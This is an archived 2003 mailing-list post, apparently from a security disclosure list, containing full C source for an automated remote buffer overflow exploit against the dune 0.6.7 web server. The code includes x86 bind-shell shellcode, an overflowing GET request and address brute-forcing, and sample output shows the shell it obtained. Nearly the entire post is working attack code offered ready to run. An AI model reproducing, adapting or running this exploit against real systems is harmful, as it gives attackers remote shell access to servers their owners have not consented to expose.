dune[0.6.7+-]: remote buffer overflow exploit. (httpd)

From: Vade 79 (v9at_private)
Date: Mon Jun 16 2003 - 17:44:23 PDT

  • Next message: Matt Moore: "Re: Cross-Site Scripting in Unparsable XML Files (GM#013-IE)"

    
     ('binary' encoding is not supported, stored as-is)
    automated exploit for dune[0.6.7+-] webserver, source comments explain...
    
    original source:
     http://fakehalo.deadpig.org/xdune.c
    
    Vade79 -> v9at_private -> fakehalo.
    
    
    ----------------- example usage -----------------
    
    
    [v9@localhost v9]$ ./xdune localhost
    [*] dune[0.6.7+-]: remote buffer overflow exploit.
    [*] by: vade79/v9 v9at_private (fakehalo)
    
     target:localhost:80 addresses:0x08048001(+0)-0x0804ffff
    
    [. = 350 byte 
    offset]: .............................................................(hit 
    shellcode at 0x08048001(+21350))
    
    Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 
    unknown
    uid=65534 gid=100(users) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6
    (disk),10(wheel)
    
    
    ----------------- xdune.c -----------------
    
    
    /*[ dune[0.6.7+-]: remote buffer overflow exploit. ]*
     * by: vade79/v9 v9at_private (fakehalo) *
     *                                                  *
     * dune is a httpd webserver for linux, which can   *
     * be found at:                                     *
     *  http://www.freshmeat.net/projects/dune          *
     *                                                  *
     * i originally made a proof of concept(broken)     *
     * exploit for it a couple years ago.  but, i       *
     * decided to finally make a working exploit for    *
     * it.  probably the most easy-to-use exploit i've  *
     * ever made.  the brute force method will allow    *
     * the exploit to work out of the box, on linux.    *
     *                                                  *
     * this exploit exploits the "multiuser" feature of *
     * dune.  the request sent will look like:          *
     *  "GET /~[48 bytes/overflow] [shellcode]\n\n"     *
     * the shellcode is placed where "HTTP/?.?" would   *
     * normally go.  but, dune doesn't seem to care.    *
     * if it is placed elsewhere alot of characters     *
     * will get truncated/passed to different           *
     * functions.                                       *
     *                                                  *
     * one problem though.  because of this:            *
     *  main.c:185:if(buffer[0]==EOF) exit(0);          *
     *  main.c:203:if(buffer[0]==EOF) exit(0);          *
     * no 0xff's can be sent to the server, for this to *
     * work.  but, i've made the exploit to work around *
     * the problem.                                     *
     *                                                  *
     * note: dune does drop privileges(uid/gid), if     *
     * started as root.  but, does not initgroups()     *
     * accordingly.                                     *
     ****************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #define BASE_ADDR 0x08048001 /* start brute. */
    #define END_ADDR 0x0804ffff /* end brute. */
    #define TIMEOUT 15 /* connection timeout. */
    static char x86_exec[]= /* modded from netric folk. */
     "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
     "\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"
     "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
     "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
     "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
     "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
     "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
     "\x80";
    char *getbuf(unsigned long);
    void getshell(char *,unsigned short,unsigned long);
    void request_url(char *hostname,unsigned short port,
    unsigned long);
    void printe(char *,short);
    void sig_alarm(){printe("alarm/timeout hit",1);}
    int main(int argc,char **argv){
     unsigned short port=80; /* default. */
     unsigned short sport=7979; /* default. */
     unsigned long ret=0;
     printf("[*] dune[0.6.7+-]: remote buffer overflow exp"
     "loit.\n[*] by: vade79/v9 v9at_private (fa"
     "kehalo)\n\n");
     if(argc<2){
      printf("[!] syntax: %s <hostname> [port] [offset] [s"
      "hell port]\n\n",argv[0]);
      exit(1);
     }
     if(argc>2)
      port=atoi(argv[2]);
     if(argc>3)
      ret=atoi(argv[3]);
     if(argc>4)
      sport=atoi(argv[4]);
     /* check for 0x0 and 0xff, can't use them. */
     if(((sport&0xff00)>>8)==0xff||(sport&0x00ff)==0xff||
     !((sport&0xff00)>>8)||!(sport&0x00ff)){
      printf("[!] shell port defined contains bad characte"
      "r(s), using default.\n");
      sport=7979; /* back to default. */
     }
     /* add port dealio. */
     x86_exec[20]=(sport&0xff00)>>8;
     x86_exec[21]=(sport&0x00ff);
     printf(" target:%s:%d addresses:0x%.8x(+%ld)-0x%.8x"
     "\n\n",argv[1],port,BASE_ADDR,ret,END_ADDR);
     fprintf(stderr,"[. = 350 byte offset]: ");
     while((BASE_ADDR+ret)<END_ADDR){
      /* make sure its a usable address. */
      if(!(BASE_ADDR+(ret&0x000000ff)))
       ret--;
      if((BASE_ADDR+(ret&0x000000ff))==0xff)
       ret--;
      request_url(argv[1],port,(BASE_ADDR+ret));
      sleep(1);
      getshell(argv[1],sport,ret);
      ret+=350; /* number of nops. */
     }
     fprintf(stderr,"(hit memory limit, aborting)\n\n");
     exit(0);
    }
    /* layout: "GET /~[addr*12] [shellcode]\n\n". */
    char *getbuf(unsigned long addr){
     unsigned int i=0;
     char *buf;
     if(!(buf=(char *)malloc(500+1)))
      printe("getbuf(): allocating memory failed",1);
     memset(buf,0x0,501);
     strcpy(buf,"GET /~");
     for(i=6;i<(48+6);i+=4){*(long *)&buf[i]=addr;}
     buf[i++]=0x20; /* space. */
     memset(buf+i,0x90,(500-strlen(x86_exec)-i-2));
     memcpy(buf+(500-strlen(x86_exec)-2),x86_exec,
     strlen(x86_exec));
     strcpy(buf+strlen(buf),"\n\n");
     return(buf);
    }
    void getshell(char *hostname,unsigned short port,
    unsigned long offset){
     int sock,r;
     fd_set fds;
     char buf[4096];
     struct hostent *he;
     struct sockaddr_in sa;
     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))
     ==-1)
      printe("getshell() socket failed",1);
     sa.sin_family=AF_INET;
     if((sa.sin_addr.s_addr=inet_addr(hostname))){
      if(!(he=gethostbyname(hostname)))
       printe("couldn't resolve hostname",1);
      memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
      sizeof(sa.sin_addr));
     }
     sa.sin_port=htons(port);
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
      fprintf(stderr,".");
      close(sock);
      return;
     }
     alarm(0);
     fprintf(stderr,"(hit shellcode at 0x%.8x(+%ld))\n\n",
     BASE_ADDR,offset);
     signal(SIGINT,SIG_IGN);
     write(sock,"uname -a;id\n",13);
     while(1){
      FD_ZERO(&fds);
      FD_SET(0,&fds);
      FD_SET(sock,&fds);
      if(select(sock+1,&fds,0,0,0)<1){
       printe("getshell(): select() failed",0);
       return;
      }
      if(FD_ISSET(0,&fds)){
       if((r=read(0,buf,sizeof(buf)))<1){
        printe("getshell(): read() failed",0);
        return;
       }
       if(write(sock,buf,r)!=r){
        printe("getshell(): write() failed",0);
        return;
       }
      }
      if(FD_ISSET(sock,&fds)){
       if((r=read(sock,buf,sizeof(buf)))<1)
        exit(0);
       write(1,buf,r);
      }
     }
     close(sock);
     return;
    }
    void request_url(char *hostname,unsigned short port,
    unsigned long ret){
     int sock;
     char *ptr;
     struct hostent *t;
     struct sockaddr_in s;
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     if((s.sin_addr.s_addr=inet_addr(hostname))){
      if(!(t=gethostbyname(hostname)))
       printe("couldn't resolve hostname",1);
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("connection failed",1);
     alarm(0);
     ptr=getbuf(ret);
     write(sock,ptr,strlen(ptr));
     close(sock);
     return;
    }
    void printe(char *err,short e){
     fprintf(stderr,"(error: %s)\n\n",err);
     if(e)
      exit(1);
     return;
    }
    



    This archive was generated by hypermail 2b30 : Tue Jun 17 2003 - 13:28:28 PDT